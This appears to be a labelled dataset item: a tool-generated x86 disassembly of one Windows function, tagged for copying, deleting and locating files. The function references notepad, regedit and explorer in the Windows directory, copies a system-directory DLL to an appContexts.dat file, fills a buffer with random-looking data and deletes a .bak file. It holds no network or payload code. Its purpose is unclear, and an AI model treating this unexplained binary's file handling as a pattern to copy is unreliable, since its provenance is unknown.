Function at 0x1012cea0
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68c
mov eax, dword [0x1036e400]
xor eax, ebp
mov dword [ebp - 0x20], eax
push esi
push edi
mov dword [ebp - 0x1c], 0
cmp dword [ebp + 0xc], 0
je 0x1012ceda
mov eax, dword [ebp + 0xc]
push eax
call fcn.100dc791
add esp, 4
cmp eax, 0x10
jbe 0x1012ceda
mov ecx, dword [ebp + 0xc]
mov byte [ecx + 0x10], 0
mov dword [ebp - 0x168], 0x2bc84
mov dword [ebp - 0x16c], 0x20
mov dword [ebp - 0x1a4], 0xf
call fcn.100d9172
mov esi, eax
call dword [sym.imp.WINMM.dll_timeGetTime]
add esi, eax
xor edi, edi
push 0
call fcn.1012d6b0
add esp, 4
add esi, eax
adc edi, edx
mov dword [ebp - 0x57c], esi
push 0x104
lea edx, [ebp - 0x2c8]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x2c8]
push eax
push str._sNOTEPAD.EXE
lea ecx, [ebp - 0x4f8]
push ecx
call fcn.100dc809
add esp, 0xc
lea edx, [ebp - 0x1bc]
push edx
lea eax, [ebp - 0x4f8]
push eax
call fcn.100dc8db
add esp, 8
mov word [ebp - 8], ax
movzx ecx, word [ebp - 8]
test ecx, ecx
je 0x1012cfa1
lea edx, [ebp - 0x2c8]
push edx
push str._sREGEDIT.EXE
lea eax, [ebp - 0x4f8]
push eax
call fcn.100dc809
add esp, 0xc
lea ecx, [ebp - 0x1bc]
push ecx
lea edx, [ebp - 0x4f8]
push edx
call fcn.100dc8db
add esp, 8
mov word [ebp - 8], ax
movzx eax, word [ebp - 8]
test eax, eax
je 0x1012cfde
lea ecx, [ebp - 0x2c8]
push ecx
push str._sEXPLORER.EXE
lea edx, [ebp - 0x4f8]
push edx
call fcn.100dc809
add esp, 0xc
lea eax, [ebp - 0x1bc]
push eax
lea ecx, [ebp - 0x4f8]
push ecx
call fcn.100dc8db
add esp, 8
mov word [ebp - 8], ax
cmp dword [ebp - 0x1c], 0
je 0x1012d016
push 0x104
lea edx, [ebp - 0x2c8]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x2c8]
push eax
push 0x10354c48
lea ecx, [ebp - 0x3d0]
push ecx
call fcn.100dc809
add esp, 0xc
jmp 0x1012d0a5
push 0x104
lea edx, [ebp - 0x2c8]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x2c8]
push eax
push str._smsleesn.dll
lea ecx, [ebp - 0x688]
push ecx
call fcn.100dc809
add esp, 0xc
push 0x10354ae0
push str._s_appContexts.dat
lea edx, [ebp - 0x3d0]
push edx
call fcn.100dc809
add esp, 0xc
push 0x10354ae0
call fcn.100db0a8
add esp, 4
lea eax, [ebp - 0x3d0]
push eax
call fcn.100d9a6e
add esp, 4
test eax, eax
jne 0x1012d0a5
lea ecx, [ebp - 0x688]
push ecx
call fcn.100d9a6e
add esp, 4
test eax, eax
je 0x1012d0a5
push 1
lea edx, [ebp - 0x3d0]
push edx
lea eax, [ebp - 0x688]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp + 8]
push ecx
call fcn.100d9fd7
add esp, 4
lea edx, [ebp - 0x1a4]
push edx
lea eax, [ebp - 0x578]
push eax
push 0xf
mov ecx, dword [ebp + 8]
push ecx
call fcn.100dd092
add esp, 0x10
push 0x10354c7c
lea edx, [ebp - 0x3d0]
push edx
call fcn.100dd7d6
add esp, 8
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
je 0x1012d203
push 2
push 0
mov eax, dword [ebp - 0x164]
push eax
call fcn.100d97b7
add esp, 0xc
mov ecx, dword [ebp - 0x164]
push ecx
call fcn.100d97e4
add esp, 4
mov dword [ebp - 4], eax
push 0
push 0
mov edx, dword [ebp - 0x164]
push edx
call fcn.100d97b7
add esp, 0xc
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x168]
jle 0x1012d142
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x68c], ecx
jmp 0x1012d14e
mov edx, dword [ebp - 0x168]
mov dword [ebp - 0x68c], edx
mov eax, dword [ebp - 0x68c]
mov dword [ebp - 0x168], eax
mov ecx, dword [ebp - 0x168]
add ecx, dword [ebp - 0x16c]
add ecx, dword [ebp - 0x1a4]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
add edx, 0x40
push edx
call fcn.100dc7a0
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1012d1ac
mov eax, dword [ebp - 0xc]
push eax
call fcn.100de4ec
add esp, 4
mov ecx, dword [ebp - 0x164]
push ecx
call fcn.100dc151
add esp, 4
mov eax, 0x66
jmp 0x1012d693
mov edx, dword [ebp - 0x164]
push edx
mov eax, dword [ebp - 4]
push eax
push 1
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.100d914a
add esp, 0x10
cmp eax, dword [ebp - 4]
je 0x1012d1ef
mov edx, dword [ebp - 0xc]
push edx
call fcn.100de4ec
add esp, 4
mov eax, dword [ebp - 0x164]
push eax
call fcn.100dc151
add esp, 4
mov eax, 0xca
jmp 0x1012d693
mov ecx, dword [ebp - 0x164]
push ecx
call fcn.100dc151
add esp, 4
jmp 0x1012d2fc
mov edx, dword [ebp - 0x168]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
add eax, 0x40
push eax
call fcn.100dc7a0
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1012d23a
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.100de4ec
add esp, 4
mov eax, 0x66
jmp 0x1012d693
lea edx, [ebp - 0x19c]
push edx
mov eax, dword [ebp - 0x57c]
push eax
call fcn.100d9401
add esp, 8
mov dword [ebp - 0x18], 0
jmp 0x1012d262
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x168]
jge 0x1012d286
lea eax, [ebp - 0x19c]
push eax
call fcn.100de7c1
add esp, 4
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x18]
mov byte [ecx], al
jmp 0x1012d259
mov dword [ebp - 0x1a0], 0
jmp 0x1012d2aa
mov edx, dword [ebp - 0x1a4]
add edx, dword [ebp - 0x16c]
add edx, dword [ebp - 0x1a0]
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 0x1a0]
cmp eax, dword [ebp - 0x168]
jge 0x1012d2fc
push 0x20
push 0
lea ecx, [ebp - 0x18c]
push ecx
call fcn.100dc309
add esp, 0xc
lea edx, [ebp - 0x18c]
push edx
call fcn.100d973f
add esp, 4
mov eax, dword [ebp - 0x16c]
push eax
lea ecx, [ebp - 0x18c]
push ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x1a0]
push edx
call fcn.100da14e
add esp, 0xc
jmp 0x1012d292
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
lea edx, [ebp - 0x160]
push edx
call fcn.100d9659
add esp, 0xc
cmp dword [ebp + 0xc], 0
jne 0x1012d331
push 0
push 0
lea eax, [ebp - 0x160]
push eax
call fcn.100db66b
add esp, 0xc
jmp 0x1012d53a
push 0x20
push 0
lea ecx, [ebp - 0x3f0]
push ecx
call fcn.100dc309
add esp, 0xc
mov edx, dword [ebp - 0x1a4]
add edx, dword [ebp - 0x16c]
mov dword [ebp - 0x1a0], edx
push 0
mov eax, dword [ebp - 0x1a0]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.100db66b
add esp, 0xc
mov edx, dword [ebp - 0x16c]
push edx
lea eax, [ebp - 0x18c]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.100db5df
add esp, 0xc
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x16c]
jne 0x1012d4d8
lea eax, [ebp - 0x18c]
push eax
call fcn.100d9d7a
add esp, 4
movzx ecx, ax
test ecx, ecx
je 0x1012d3c6
push 0x20
push 0
lea edx, [ebp - 0x18c]
push edx
call fcn.100dc309
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
call fcn.100dc791
add esp, 4
push eax
lea ecx, [ebp - 0x184]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.100dd92a
add esp, 0xc
test eax, eax
jne 0x1012d3ef
jmp 0x1012d4d8
mov eax, dword [ebp - 0x16c]
sub eax, 8
push eax
lea ecx, [ebp - 0x188]
push ecx
lea edx, [ebp - 0x3f0]
push edx
call fcn.100da126
add esp, 0xc
test eax, eax
je 0x1012d44a
mov eax, dword [ebp - 0x16c]
sub eax, 8
push eax
lea ecx, [ebp - 0x188]
push ecx
call fcn.100dd385
add esp, 8
test eax, eax
je 0x1012d44a
mov edx, dword [ebp - 0x1a0]
add edx, dword [ebp - 0x1a4]
add edx, dword [ebp - 0x16c]
cmp edx, dword [ebp - 0x168]
jle 0x1012d4a3
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x3e8]
push ecx
call fcn.100daed2
add esp, 8
lea edx, [ebp - 0x3f0]
push edx
call fcn.100d973f
add esp, 4
push 0
mov eax, dword [ebp - 0x1a0]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.100db66b
add esp, 0xc
mov edx, dword [ebp - 0x16c]
push edx
lea eax, [ebp - 0x3f0]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.100ddace
add esp, 0xc
jmp 0x1012d4d8
mov edx, dword [ebp - 0x1a4]
add edx, dword [ebp - 0x16c]
add edx, dword [ebp - 0x1a0]
mov dword [ebp - 0x1a0], edx
push 0
mov eax, dword [ebp - 0x1a0]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.100db66b
add esp, 0xc
jmp 0x1012d36e
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x16c]
je 0x1012d53a
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x3e8]
push ecx
call fcn.100daed2
add esp, 8
lea edx, [ebp - 0x3f0]
push edx
call fcn.100d973f
add esp, 4
push 0
mov eax, dword [ebp - 0x1a0]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.100db66b
add esp, 0xc
mov edx, dword [ebp - 0x16c]
push edx
lea eax, [ebp - 0x3f0]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.100ddace
add esp, 0xc
mov edx, dword [ebp - 0x1a4]
push edx
lea eax, [ebp - 0x578]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.100ddace
add esp, 0xc
cmp eax, dword [ebp - 0x1a4]
je 0x1012d568
mov edx, 0xcb
mov word [ebp - 8], dx
push 1
push 0
lea eax, [ebp - 0x160]
push eax
call fcn.100db66b
add esp, 0xc
mov dword [ebp - 0x1a0], eax
mov ecx, dword [ebp - 0x1a0]
cmp ecx, dword [ebp - 0x168]
jle 0x1012d59b
mov edx, dword [ebp - 0x1a0]
mov dword [ebp - 0x168], edx
lea eax, [ebp - 0x3d0]
push eax
push str._s.bak
lea ecx, [ebp - 0x4f8]
push ecx
call fcn.100dc809
add esp, 0xc
lea edx, [ebp - 0x4f8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x4f8]
push eax
lea ecx, [ebp - 0x3d0]
push ecx
call fcn.100dad79
add esp, 8
push 0x10354c88
lea edx, [ebp - 0x3d0]
push edx
call fcn.100dd7d6
add esp, 8
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
jne 0x1012d612
mov eax, dword [ebp - 0xc]
push eax
call fcn.100de4ec
add esp, 4
mov eax, 0xc9
jmp 0x1012d693
mov ecx, dword [ebp - 0x164]
push ecx
mov edx, dword [ebp - 0x168]
push edx
push 1
mov eax, dword [ebp - 0xc]
push eax
call fcn.100dc1b5
add esp, 0x10
cmp eax, dword [ebp - 0x168]
je 0x1012d658
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.100de4ec
add esp, 4
mov edx, dword [ebp - 0x164]
push edx
call fcn.100dc151
add esp, 4
mov eax, 0xcb
jmp 0x1012d693
mov eax, dword [ebp - 0x164]
push eax
call fcn.100dc151
add esp, 4
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.100de4ec
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x1012d68f
lea edx, [ebp - 0x1bc]
push edx
lea eax, [ebp - 0x3d0]
push eax
call fcn.100dab17
add esp, 8
mov ax, word [ebp - 8]
pop edi
pop esi
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.100dba62
mov esp, ebp
pop ebp
ret